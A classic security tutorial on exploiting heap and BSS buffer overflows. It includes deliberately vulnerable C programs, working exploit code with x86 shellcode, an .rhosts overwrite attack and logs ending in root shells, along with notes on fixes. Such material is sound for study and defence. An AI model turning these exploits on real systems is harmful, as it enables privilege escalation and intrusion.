Subject: w00w00 on Heap Overflows

This is a PRELIMINARY BETA VERSION of our final article! We apologize for any mistakes. We still need to add a few more things.

[Note: You may also get this article off of]
[http://www.w00w00.org/articles.html.]

w00w00 on Heap Overflows
By: Matt Conover & w00w00 Security Team

Prelude:

Heap/BSS-based overflows are fairly common in applications today; yet, they are rarely reported. Therefore, we felt it was appropriate to present a "heap overflow" tutorial. The biggest critics of this article will probably be those who argue heap overflows have been around for a while. Of course they have, but that doesn't negate the need for such material.

In this article, we will refer to "overflows involving the stack" as "stack-based overflows" ("stack overflow" is misleading) and "overflows involving the heap" as "heap-based overflows".

This article should provide the following: a better understanding of heap-based overflows along with several methods of exploitation, demonstrations, and some possible solutions/fixes. Prerequisites to this article: a general understanding of computer architecture, assembly, C, and stack overflows.

This is a collection of the insights we have gained through our research with heap-based overflows and the like. We have written all the examples and exploits included in this article; therefore, the copyright applies to them as well.

Why Heap/BSS Overflows are Significant
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

As more system vendors add non-executable stack patches, or individuals apply their own patches (e.g., Solar Designer's non-executable stack patch), a different method of penetration is needed by security consultants (or else, we won't have jobs!). Let me give you a few examples:

1. Searching for the word "heap" on BugTraq (for the archive, see
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

www.geek-girl.com/bugtraq), yields only 40+ matches, whereas "stack" yields 2300+ matches (though several are irrelevant). Also, "stack overflow" gives twice as many matches as "heap" does.

2. Solaris (an OS developed by Sun Microsystems), as of Solaris 2.6, sparc Solaris includes a "protect_stack" option, but not an equivalent "protect_heap" option. Fortunately, the bss is not executable (and need not be).

3. There is a "StackGuard" (developed by Crispin Cowan et. al.), but no equivalent "HeapGuard".

4. Using a heap/bss-based overflow was one of the "potential" methods of getting around StackGuard. The following was posted to BugTraq by Tim Newsham several months ago:

   > Finally the precomputed canary values may be a target
   > themselves. If there is an overflow in the data or bss segments
   > preceding the precomputed canary vector, an attacker can simply
   > overwrite all the canary values with a single value of his
   > choosing, effectively turning off stack protection.

5. Some people have actually suggested making a "local" buffer a "static" buffer, as a fix! This not very wise; yet, it is a fairly common misconception of how the heap or bss work.

Although heap-based overflows are not new, they don't seem to be well understood.

Note:
One argument is that the presentation of a "heap-based overflow" is equivalent to a "stack-based overflow" presentation. However, only a small proportion of this article has the same presentation (if you will) that is equivalent to that of a "stack-based overflow".

People go out of their way to prevent stack-based overflows, but leave their heaps/bss' completely open! On most systems, both heap and bss are both executable and writeable (an excellent combination). This makes heap/bss overflows very possible. But, I don't see any reason for the bss to be executable! What is going to be executed in zero-filled memory?!

For the security consultant (the ones doing the penetration assessment), most heap-based overflows are system and architecture independent, including those with non-executable heaps. This will all be demonstrated in the "Exploiting Heap/BSS Overflows" section.

Terminology

An executable file, such as ELF (Executable and Linking Format) executable, has several "sections" in the executable file, such as: the PLT (Procedure Linking Table), GOT (Global Offset Table), init (instructions executed on initialization), fini (instructions to be executed upon termination), and ctors and dtors (contains global constructors/destructors).

"Memory that is dynamically allocated by the application is known as the heap." The words "by the application" are important here, as on good systems most areas are in fact dynamically allocated at the kernel level, while for the heap, the allocation is requested by the application.

Heap and Data/BSS Sections

The heap is an area in memory that is dynamically allocated by the application. The data section initialized at compile-time.

The bss section contains uninitialized data, and is allocated at run-time. Until it is written to, it remains zeroed (or at least from the application's point-of-view).

Note:
When we refer to a "heap-based overflow" in the sections below, we are most likely referring to buffer overflows of both the heap and data/bss sections.

On most systems, the heap grows up (towards higher addresses). Hence, when we say "X is below Y," it means X is lower in memory than Y.

Exploiting Heap/BSS Overflows

In this section, we'll cover several different methods to put heap/bss overflows to use. Most of examples for Unix-dervied x86 systems, will also work in DOS and Windows (with a few changes). We've also included a few DOS/Windows specific exploitation methods. An advanced warning: this will be the longest section, and should be studied the most.

Note:
In this article, I use the "exact offset" approach. The offset must be closely approximated to its actual value. The alternative is "stack-based overflow approach" (if you will), where one repeats the addresses to increase the likelihood of a successful exploit.

While this example may seem unnecessary, we're including it for those who are unfamiliar with heap-based overflows. Therefore, we'll include this quick demonstration:

```
/* demonstrates dynamic overflow in heap (initialized data) */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BUFSIZE 16
#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */

int main()
{
   u_long diff;
   char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);

   diff = (u_long)buf2 - (u_long)buf1;
   printf("buf1 = %p, buf2 = %p, diff = 0x%x bytes\n", buf1, buf2, diff);

   memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '\0';

   printf("before overflow: buf2 = %s\n", buf2);
   memset(buf1, 'B', (u_int)(diff + OVERSIZE));
   printf("after overflow: buf2 = %s\n", buf2);

   return 0;
}
```

If we run this, we'll get the following:

```
[root /w00w00/heap/examples/basic]# ./heap1 8
```

```
  buf1 = 0x804e000, buf2 = 0x804eff0, diff = 0xff0 bytes
  before overflow: buf2 = AAAAAAAAAAAAAAA
  after overflow: buf2 = BBBBBBBBAAAAAAA
```

This works because buf1 overruns its boundaries into buf2's heap space. But, because buf2's heap space is still valid (heap) memory, the program doesn't crash.

Note:
  A possible fix for a heap-based overflow, which will be mentioned later, is to put "canary" values between all variables on the heap space (like that of StackGuard mentioned later) that mustn't be changed throughout execution.

You can get the complete source to all examples used in this article, from the file attachment, heaptut.tgz. You can also download this from our article archive at http://www.w00w00.org/articles.html.

Note:
  To demonstrate a bss-based overflow, change line:
  from: 'char *buf = malloc(BUFSIZE)', to: 'static char buf[BUFSIZE]'

Yes, that was a very basic example, but we wanted to demonstrate a heap overflow at its most primitive level. This is the basis of almost all heap-based overflows. We can use it to overwrite a filename, a password, a saved uid, etc. Here is a (still primitive) example of manipulating pointers:

```
  /* demonstrates static pointer overflow in bss (uninitialized data) */

  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <string.h>
  #include <errno.h>

  #define BUFSIZE 16
  #define ADDRLEN 4 /* # of bytes in an address */

  int main()
  {
     u_long diff;
     static char buf[BUFSIZE], *bufptr;

     bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;

     printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
            &bufptr, bufptr, buf, diff, diff);

     memset(buf, 'A', (u_int)(diff + ADDRLEN));

     printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
            &bufptr, bufptr, buf, diff, diff);

     return 0;
  }
```

The results:

```
  [root /w00w00/heap/examples/basic]# ./heap3
  bufptr (0x804a860) = 0x804a850, buf = 0x804a850, diff = 0x10 (16) bytes
  bufptr (0x804a860) = 0x41414141, buf = 0x804a850, diff = 0x10 (16) bytes
```

When run, one clearly sees that the pointer now points to a different

address. Uses of this? One example is that we could overwrite a
temporary filename pointer to point to a separate string (such as
argv[1], which we could supply ourselves), which could contain
"/root/.rhosts". Hopefully, you are starting to see some potential uses.

To demonstrate this, we will use a temporary file to momentarily save
some input from the user. This is our finished "vulnerable program":

```
  /*
   * This is a typical vulnerable program.  It will store user input in a
   * temporary file.
   *
   * Compile as: gcc -o vulprog1 vulprog1.c
   */

  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <string.h>
  #include <errno.h>

  #define ERROR -1
  #define BUFSIZE 16

  /*
   * Run this vulprog as root or change the "vulfile" to something else.
   * Otherwise, even if the exploit works, it won't have permission to
   * overwrite /root/.rhosts (the default "example").
   */

  int main(int argc, char **argv)
  {
     FILE *tmpfd;
     static char buf[BUFSIZE], *tmpfile;

     if (argc <= 1)
     {
        fprintf(stderr, "Usage: %s <garbage>\n", argv[0]);
        exit(ERROR);
     }

     tmpfile = "/tmp/vulprog.tmp"; /* no, this is not a temp file vul */
     printf("before: tmpfile = %s\n", tmpfile);

     printf("Enter one line of data to put in %s: ", tmpfile);
     gets(buf);

     printf("\nafter: tmpfile = %s\n", tmpfile);

     tmpfd = fopen(tmpfile, "w");
     if (tmpfd == NULL)
     {
        fprintf(stderr, "error opening %s: %s\n", tmpfile,
                strerror(errno));

        exit(ERROR);
     }

     fputs(buf, tmpfd);
     fclose(tmpfd);
  }
```

The aim of this "example" program is to demonstrate that something of this nature can easily occur in programs (although hopefully not setuid or root-owned daemon servers).

And here is our exploit for the vulnerable program:

```
/*
 * Copyright (C) January 1999, Matt Conover & WSD
 *
 * This will exploit vulprog1.c.  It passes some arguments to the
 * program (that the vulnerable program doesn't use).  The vulnerable
 * program expects us to enter one line of input to be stored
 * temporarily.  However, because of a static buffer overflow, we can
 * overwrite the temporary filename pointer, to have it point to
 * argv[1] (which we could pass as "/root/.rhosts").  Then it will
 * write our temporary line to this file.  So our overflow string (what
 * we pass as our input line) will be:
 *   + + # (tmpfile addr) - (buf addr) # of A's | argv[1] address
 *
 * We use "+ +" (all hosts), followed by '#' (comment indicator), to
 * prevent our "attack code" from causing problems.  Without the
 * "#", programs using .rhosts would misinterpret our attack code.
 *
 * Compile as: gcc -o exploit1 exploit1.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BUFSIZE 256

#define DIFF 16 /* estimated diff between buf/tmpfile in vulprog */

#define VULPROG "./vulprog1"
#define VULFILE "/root/.rhosts" /* the file 'buf' will be stored in */

/* get value of sp off the stack (used to calculate argv[1] address) */
u_long getesp()
{
   __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */
}

int main(int argc, char **argv)
{
   u_long addr;

   register int i;
   int mainbufsize;

   char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";

   /* ------------------------------------------------------ */
   if (argc <= 1)
   {
      fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]);
      exit(ERROR);
   }
   /* ------------------------------------------------------ */

   memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# ");

   memset(buf + strlen(buf), 'A', DIFF);
```

```
    addr = getesp() + atoi(argv[1]);

    /* reverse byte order (on a little endian system) */
    for (i = 0; i < sizeof(u_long); i++)
       buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);

    mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13;

    mainbuf = (char *)malloc(mainbufsize);
    memset(mainbuf, 0, sizeof(mainbufsize));

    snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
             buf, VULPROG, VULFILE);

    printf("Overflowing tmpaddr to point to %p, check %s after.\n\n",
           addr, VULFILE);

    system(mainbuf);
    return 0;
  }
```

Here's what happens when we run it:

```
  [root /w00w00/heap/examples/vulpkgs/vulpkg1]# ./exploit1 320
  Overflowing tmpaddr to point to 0xbffffd60, check /root/.rhosts after.

  before: tmpfile = /tmp/vulprog.tmp
  Enter one line of data to put in /tmp/vulprog.tmp:
  after: tmpfile = /vulprog1
```

Well, we can see that's part of argv[0] ("./vulprog1"), so we know we are close:

```
  [root /w00w00/heap/examples/vulpkgs/vulpkg1]# ./exploit1 330
  Overflowing tmpaddr to point to 0xbffffd6a, check /root/.rhosts after.

  before: tmpfile = /tmp/vulprog.tmp
  Enter one line of data to put in /tmp/vulprog.tmp:
  after: tmpfile = /root/.rhosts
  [root /tmp/heap/examples/advanced/vul-pkg1]#
```

Got it! The exploit overwrites the buffer that the vulnerable program uses for gets() input. At the end of its buffer, it places the address of where we assume argv[1] of the vulnerable program is. That is, we overwrite everything between the overflowed buffer and the tmpfile pointer. We ascertained the tmpfile pointer's location in memory by sending arbitrary lengths of "A"'s until we discovered how many "A"'s it took to reach the start of tmpfile's address. Also, if you have source to the vulnerable program, you can also add a "printf()" to print out the addresses/offsets between the overflowed data and the target data (i.e., 'printf("%p - %p = 0x%lx bytes\n", buf2, buf1, (u_long)diff)').

(Un)fortunately, the offsets usually change at compile-time (as far as I know), but we can easily recalculate, guess, or "brute force" the offsets.

Note:
  Now that we need a valid address (argv[1]'s address), we must reverse the byte order for little endian systems. Little endian systems use the least significant byte first (x86 is little endian) so that 0x12345678 is 0x78563412 in memory. If we were doing this on a big endian system (such as a sparc) we could drop out the code to reverse the byte order. On a big endian system (like sparc), we could leave the addresses alone.

Further note:
  So far none of these examples required an executable heap! As I
  briefly mentioned in the "Why Heap/BSS Overflows are Significant"
  section, these (with the exception of the address byte order) previous
  examples were all system/architecture independent. This is useful in
  exploiting heap-based overflows.

With knowledge of how to overwrite pointers, we're going to show how to modify function pointers. The downside to exploiting function pointers (and the others to follow) is that they require an executable heap.

A function pointer (i.e., "int (*funcptr)(char *str)") allows a programmer to dynamically modify a function to be called. We can overwrite a function pointer by overwriting its address, so that when it's executed, it calls the function we point it to instead. This is good news because there are several options we have. First, we can include our own shellcode. We can do one of the following with shellcode:

1. argv[] method: store the shellcode in an argument to the program (requiring an executable stack)

2. heap offset method: offset from the top of the heap to the estimated address of the target/overflow buffer (requiring an executable heap)

Note: There is a greater probability of the heap being executable than the stack on any given system. Therefore, the heap method will probably work more often.

A second method is to simply guess (though it's inefficient) the address of a function, using an estimated offset of that in the vulnerable program. Also, if we know the address of system() in our program, it will be at a very close offset, assuming both vulprog/exploit were compiled the same way. The advantage is that no executable is required.

Note:
  Another method is to use the PLT (Procedure Linking Table) which shares
  the address of a function in the PLT. I first learned the PLT method
  from str (stranJer) in a non-executable stack exploit for sparc.

The reason the second method is the preferred method, is simplicity. We can guess the offset of system() in the vulprog from the address of system() in our exploit fairly quickly. This is synonymous on remote systems (assuming similar versions, operating systems, and architectures). With the stack method, the advantage is that we can do whatever we want, and we don't require compatible function pointers (i.e., char (*funcptr)(int a) and void (*funcptr)() would work the same). The disadvantage (as mentioned earlier) is that it requires an executable stack.

Here is our vulnerable program for the following 2 exploits:
```
------------------------------------------------------------------------
  /*
   * Just the vulnerable program we will exploit.
   * Compile as: gcc -o vulprog vulprog.c (or change exploit macros)
   */

  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <string.h>
```

```
  #define ERROR -1
  #define BUFSIZE 64

  int goodfunc(const char *str); /* funcptr starts out as this */

  int main(int argc, char **argv)
  {
     static char buf[BUFSIZE];
     static int (*funcptr)(const char *str);

     if (argc <= 2)
     {
        fprintf(stderr, "Usage: %s <buf> <goodfunc arg>\n", argv[0]);
        exit(ERROR);
     }

     printf("(for 1st exploit) system() = %p\n", system);
     printf("(for 2nd exploit, stack method) argv[2] = %p\n", argv[2]);
     printf("(for 2nd exploit, heap offset method) buf = %p\n\n", buf);

     funcptr = (int (*)(const char *str))goodfunc;
     printf("before overflow: funcptr points to %p\n", funcptr);

     memset(buf, 0, sizeof(buf));
     strncpy(buf, argv[1], strlen(argv[1]));
     printf("after overflow: funcptr points to %p\n", funcptr);

     (void)(*funcptr)(argv[2]);
     return 0;
  }

  /* ------------------------------------------- */

  /* This is what funcptr would point to if we didn't overflow it */
  int goodfunc(const char *str)
  {
     printf("\nHi, I'm a good function.  I was passed: %s\n", str);
     return 0;
  }
```

Our first example, is the system() method:

```
  /*
   * Copyright (C) January 1999, Matt Conover & WSD
   *
   * Demonstrates overflowing/manipulating static function pointers in
   * the bss (uninitialized data) to execute functions.
   *
   * Try in the offset (argv[2]) in the range of 0-20 (10-16 is best)
   * To compile use: gcc -o exploit1 exploit1.c
   */

  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <string.h>

  #define BUFSIZE 64 /* the estimated diff between funcptr/buf */

  #define VULPROG "./vulprog" /* vulnerable program location */
  #define CMD "/bin/sh" /* command to execute if successful */

  #define ERROR -1
```

```
  int main(int argc, char **argv)
  {
     register int i;
     u_long sysaddr;
     static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};

     if (argc <= 1)
     {
        fprintf(stderr, "Usage: %s <offset>\n", argv[0]);
        fprintf(stderr, "[offset = estimated system() offset]\n\n");

        exit(ERROR);
     }

     sysaddr = (u_long)&system - atoi(argv[1]);
     printf("trying system() at 0x%lx\n", sysaddr);

     memset(buf, 'A', BUFSIZE);

     /* reverse byte order (on a little endian system) (ntohl equiv) */
     for (i = 0; i < sizeof(sysaddr); i++)
        buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

     execl(VULPROG, VULPROG, buf, CMD, NULL);
     return 0;
  }
```

When we run this with an offset of 16 (which may vary) we get:

```
  [root /w00w00/heap/examples]# ./exploit1 16
  trying system() at 0x80484d0
  (for 1st exploit) system() = 0x80484d0
  (for 2nd exploit, stack method) argv[2] = 0xbffffd3c
  (for 2nd exploit, heap offset method) buf = 0x804a9a8

  before overflow: funcptr points to 0x8048770
  after overflow: funcptr points to 0x80484d0
  bash#
```

And our second example, using both argv[] and heap offset method:

```
  /*
   * Copyright (C) January 1999, Matt Conover & WSD
   *
   * This demonstrates how to exploit a static buffer to point the
   * function pointer at argv[] to execute shellcode.  This requires
   * an executable heap to succeed.
   *
   * The exploit takes two argumenst (the offset and "heap"/"stack").
   * For argv[] method, it's an estimated offset to argv[2] from
   * the stack top.  For the heap offset method, it's an estimated offset
   * to the target/overflow buffer from the heap top.
   *
   * Try values somewhere between 325-345 for argv[] method, and 420-450
   * for heap.
   *
   * To compile use: gcc -o exploit2 exploit2.c
   */

  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <string.h>
```

```
#define ERROR -1
#define BUFSIZE 64 /* estimated diff between buf/funcptr */

#define VULPROG "./vulprog" /* where the vulprog is */

char shellcode[] = /* just aleph1's old shellcode (linux x86) */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
  "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
  "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

u_long getesp()
{
   __asm__("movl %esp,%eax"); /* set sp as return value */
}

int main(int argc, char **argv)
{
   register int i;
   u_long sysaddr;
   char buf[BUFSIZE + sizeof(u_long) + 1];

   if (argc <= 2)
   {
      fprintf(stderr, "Usage: %s <offset> <heap | stack>\n", argv[0]);
      exit(ERROR);
   }

   if (strncmp(argv[2], "stack", 5) == 0)
   {
      printf("Using stack for shellcode (requires exec. stack)\n");

      sysaddr = getesp() + atoi(argv[1]);
      printf("Using 0x%lx as our argv[1] address\n\n", sysaddr);

      memset(buf, 'A', BUFSIZE + sizeof(u_long));
   }

   else
   {
      printf("Using heap buffer for shellcode "
             "(requires exec. heap)\n");

      sysaddr = (u_long)sbrk(0) - atoi(argv[1]);
      printf("Using 0x%lx as our buffer's address\n\n", sysaddr);

      if (BUFSIZE + 4 + 1 < strlen(shellcode))
      {
         fprintf(stderr, "error: buffer is too small for shellcode "
                         "(min. = %d bytes)\n", strlen(shellcode));

         exit(ERROR);
      }

      strcpy(buf, shellcode);
      memset(buf + strlen(shellcode), 'A',
             BUFSIZE - strlen(shellcode) + sizeof(u_long));
   }

   buf[BUFSIZE + sizeof(u_long)] = '\0';

   /* reverse byte order (on a little endian system) (ntohl equiv) */
   for (i = 0; i < sizeof(sysaddr); i++)
      buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;
```

```
     execl(VULPROG, VULPROG, buf, shellcode, NULL);
     return 0;
  }
```

When we run this with an offset of 334 for the argv[] method we get:

```
  [root /w00w00/heap/examples] ./exploit2 334 stack
  Using stack for shellcode (requires exec. stack)
  Using 0xbffffd16 as our argv[1] address

  (for 1st exploit) system() = 0x80484d0
  (for 2nd exploit, stack method) argv[2] = 0xbffffd16
  (for 2nd exploit, heap offset method) buf = 0x804a9a8

  before overflow: funcptr points to 0x8048770
  after overflow: funcptr points to 0xbffffd16
  bash#
```

When we run this with an offset of 428-442 for the heap offset method we get:

```
  [root /w00w00/heap/examples] ./exploit2 428 heap
  Using heap buffer for shellcode (requires exec. heap)
  Using 0x804a9a8 as our buffer's address

  (for 1st exploit) system() = 0x80484d0
  (for 2nd exploit, stack method) argv[2] = 0xbffffd16
  (for 2nd exploit, heap offset method) buf = 0x804a9a8

  before overflow: funcptr points to 0x8048770
  after overflow: funcptr points to 0x804a9a8
  bash#
```

Note:
  Another advantage to the heap method is that you have a large working range. With argv[] (stack) method, it needed to be exact. With the heap offset method, any offset between 428-442 worked.

As you can see, there are several different methods to exploit the same problem. As an added bonus, we'll include a final type of exploitation that uses jmp_bufs (setjmp/longjmp). jmp_buf's basically store a stack frame, and jump to it at a later point in execution. If we get a chance to overflow a buffer between setjmp() and longjmp(), that's above the overflowed buffer, this can be exploited. We can set these up to emulate the behavior of a stack-based overflow (as does the argv[] shellcode method used earlier, also). Now this is the jmp_buf for an x86 system. These will needed to be modified for other architectures, accordingly.

First we will include a vulnerable program again:

```
  /*
   * This is just a basic vulnerable program to demonstrate
   * how to overwrite/modify jmp_buf's to modify the course of
   * execution.
   */

  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <string.h>
  #include <setjmp.h>

  #define ERROR -1
  #define BUFSIZE 16
```

```
  static char buf[BUFSIZE];
  jmp_buf jmpbuf;

  u_long getesp()
  {
  __asm__("movl %esp,%eax"); /* the return value goes in %eax */
  }

  int main(int argc, char **argv)
  {
     if (argc <= 1)
     {
        fprintf(stderr, "Usage: %s <string1> <string2>\n");
        exit(ERROR);
     }

     printf("[vulprog] argv[2] = %p\n", argv[2]);
     printf("[vulprog] sp = 0x%lx\n\n", getesp());

     if (setjmp(jmpbuf)) /* if > 0, we got here from longjmp() */
     {
        fprintf(stderr, "error: exploit didn't work\n");
        exit(ERROR);
     }

     printf("before:\n");
     printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n",
            jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);

     printf("bp = %p, sp = %p, pc = %p\n\n",
            jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc);

     strncpy(buf, argv[1], strlen(argv[1])); /* actual copy here */

     printf("after:\n");
     printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n",
            jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);

     printf("bp = %p, sp = %p, pc = %p\n\n",
            jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc);

     longjmp(jmpbuf, 1);
     return 0;
  }
```

The reason we have the vulnerable program output its stack pointer (esp on x86) is that it makes "guessing" easier for the novice.

And now the exploit for it (you should be able to follow it):

```
  /*
   * Copyright (C) January 1999, Matt Conover & WSD
   *
   * Demonstrates a method of overwriting jmpbuf's (setjmp/longjmp)
   * to emulate a stack-based overflow in the heap.  By that I mean,
   * you would overflow the sp/pc of the jmpbuf.  When longjmp() is
   * called, it will execute the next instruction at that address.
   * Therefore, we can stick shellcode at this address (as the data/heap
   * section on most systems is executable), and it will be executed.
   *
   * This takes two arguments (offsets):
   *   arg 1 - stack offset (should be about 25-45).
   *   arg 2 - argv offset (should be about 310-330).
```

```
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define ERROR -1
#define BUFSIZE 16

#define VULPROG "./vulprog4"

char shellcode[] = /* just aleph1's old shellcode (linux x86) */
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
   "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
   "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

u_long getesp()
{
   __asm__("movl %esp,%eax"); /* the return value goes in %eax */
}

int main(int argc, char **argv)
{
   int stackaddr, argvaddr;
   register int index, i, j;

   char buf[BUFSIZE + 24 + 1];

   if (argc <= 1)
   {
      fprintf(stderr, "Usage: %s <stack offset> <argv offset>\n",
              argv[0]);

      fprintf(stderr, "[stack offset = offset to stack of vulprog\n");
      fprintf(stderr, "[argv offset = offset to argv[2]]\n");

      exit(ERROR);
   }

   stackaddr = getesp() - atoi(argv[1]);
   argvaddr = getesp() + atoi(argv[2]);

   printf("trying address 0x%lx for argv[2]\n", argvaddr);
   printf("trying address 0x%lx for sp\n\n", stackaddr);

   /*
    * The second memset() is needed, because otherwise some values
    * will be (null) and the longjmp() won't do our shellcode.
    */

   memset(buf, 'A', BUFSIZE), memset(buf + BUFSIZE + 4, 0x1, 12);
   buf[BUFSIZE+24] = '\0';

   /* ------------------------------------ */

   /*
    * We need the stack pointer, because to set pc to our shellcode
    * address, we have to overwrite the stack pointer for jmpbuf.
    * Therefore, we'll rewrite it with the real address again.
    */

   /* reverse byte order (on a little endian system) (ntohl equiv) */
   for (i = 0; i < sizeof(u_long); i++) /* setup BP */
```

```
      {
         index = BUFSIZE + 16 + i;
         buf[index] = (stackaddr >> (i * 8)) & 255;
      }

      /* ---------------------------- */

      /* reverse byte order (on a little endian system) (ntohl equiv) */
      for (i = 0; i < sizeof(u_long); i++) /* setup SP */
      {
         index = BUFSIZE + 20 + i;
         buf[index] = (stackaddr >> (i * 8)) & 255;
      }

      /* ---------------------------- */

      /* reverse byte order (on a little endian system) (ntohl equiv) */
      for (i = 0; i < sizeof(u_long); i++) /* setup PC */
      {
         index = BUFSIZE + 24 + i;
         buf[index] = (argvaddr >> (i * 8)) & 255;
      }

      execl(VULPROG, VULPROG, buf, shellcode, NULL);
      return 0;
   }
```

Ouch, that was sloppy. But anyway, when we run this with a stack offset of 36 and a argv[2] offset of 322, we get the following:

```
   [root /w00w00/heap/examples/vulpkgs/vulpkg4]# ./exploit4 36 322
   trying address 0xbffffcf6 for argv[2]
   trying address 0xbffffb90 for sp

   [vulprog] argv[2] = 0xbffffcf6
   [vulprog] sp = 0xbffffb90

   before:
   bx = 0x0, si = 0x40001fb0, di = 0x4000000f
   bp = 0xbffffb98, sp = 0xbffffb94, pc = 0x8048715

   after:
   bx = 0x1010101, si = 0x1010101, di = 0x1010101
   bp = 0xbffffb90, sp = 0xbffffb90, pc = 0xbffffcf6

   bash#
```

w00w00! For those of you that are saying, "Okay. I see this works in a controlled environment; but what about in the wild?" There is sensitive data on the heap that can be overflowed. Examples include:

	functions	reason
1.	*gets()/*printf(), *scanf()	__iob (FILE) structure in heap
2.	popen()	__iob (FILE) structure in heap
3.	*dir() (readdir, seekdir, ...)	DIR entries (dir/heap buffers)
4.	atexit()	static/global function pointers
5.	strdup()	allocates dynamic data in the heap
7.	getenv()	stored data on heap
8.	tmpnam()	stored data on heap
9.	malloc()	chain pointers
10.	rpc callback functions	function pointers
11.	windows callback functions	func pointers kept on heap
12.	signal handler pointers in cygnus (gcc for win),	function pointers (note: unix tracks these in the kernel, not in the heap)

Now, you can definitely see some uses these functions. Room allocated for FILE structures in functions such as printf()'s, fget()'s, readdir()'s, seekdir()'s, etc. can be manipulated (buffer or function pointers). atexit() has function pointers that will be called when the program terminates. strdup() can store strings (such as filenames or passwords) on the heap. malloc()'s own chain pointers (inside its pool) can be manipulated to access memory it wasn't meant to be. getenv() stores data on the heap, which would allow us modify something such as $HOME after it's initially checked. svc/rpc registration functions (librpc, libnsl, etc.) keep callback functions stored on the heap.

Once you know how to overwrite FILE sturctures with popen(), you can quickly figure out how to do it with other functions (i.e., *printf, *gets, *scanf, etc.), as well as DIR structures (because they are similar.

Two "real world" vulnerabilities are Solaris' tip and BSDI's crontab. The BSDI crontab vulnerability was discovered by mudge of L0pht (see L0pht 1996 Advisory Page).

Our first case study will be the BSDI crontab heap-based overflow. Passing a long filename will overflow a static buffer. Above that buffer in memory, we have a pwd (see pwd.h) structure! This stores a user name, password, uid, gid, etc. By overwriting the uid/gid field of the pwd, we can modify the privileges that crond will run our crontab with (as soon as it tries to run our crontab). This script could then put out a suid root shell, because our script will be running with uid/gid 0.

Our second case study is 'tip' on Solaris. It runs suid uucp. It is possible to get root once uucp privileges are gained (but, that's outside the scope of this article). Tip will overflow a static buffer when prompting for a file to send/receive. Above the static buffer in memory is a jmp_buf. By overwriting the static buffer and then causing a SIGINT, we can get shellcode executed (by storing it in argv[]). To exploit successfully, we need to either connect to a valid system, or create a "fake device" with which tip will connect to.

Possible Fixes (Workarounds)

Obviously, the best prevention for heap-based overflows is writing good code! Similar to stack-based overflows, there is no real way of preventing heap-based overflows.

We can get a copy of the bounds checking gcc/egcs (which should locate most potential heap-based overflows) developed by Richard Jones and Paul Kelly. This program can be downloaded from Richard Jone's homepage at http://www.annexia.demon.co.uk. It detects overruns that might be missed by human error. One example they use is: "int array[10]; for (i = 0; i <= 10; i++) array[i] = 1". I have never used it.

Note:
For Windows, one could use NuMega's bounds checker which essentially performs the same as the bounds checking gcc.

We can always make a non-executable heap patch (as mentioned early, most systems have an executable heap). During a conversation I had with Solar Designer, he mentioned the main problems with a non-executable would involve compilers, interpreters, etc.

Note:
I added a note section here to reiterate the point a non-executable heap does NOT prevent heap overflows at all. It means we can't execute instructions in the heap. It does NOT prevent us from overwriting data in the heap.

Likewise, another possibility is to make a "HeapGuard", which would be the equivalent to Cowan's StackGuard mentioned earlier. He (et. al.) also developed something called "MemGuard", but it's a misnomer. Its function is to prevent a return address (on the stack) from being overwritten (via canary values) on the stack. It does nothing to prevent overflows in the heap or bss.

Acknowledgements

There has been a significant amount of work on heap-based overflows in the past. We ought to name some other people who have published work involving heap/bss-based overflows (though, our work wasn't based off them).

Solar Designer: SuperProbe exploit (function pointers), color_xterm exploit (struct pointers), WebSite (pointer arrays), etc.

L0pht: Internet Explorer 4.01 vulnerablity (dildog), BSDI crontab exploit (mudge), etc.

Some others who have published exploits for heap-based overflows (thanks to stranJer for pointing them out) are Joe Zbiciak (solaris ps) and Adam Morrison (stdioflow). I'm sure there are many others, and I apologize for excluding anyone.

I'd also like to thank the following people who had some direct involvement in this article: str (stranJer), halflife, and jobe. Indirect involvements: Solar Designer, mudge, and other w00w00 affiliates.

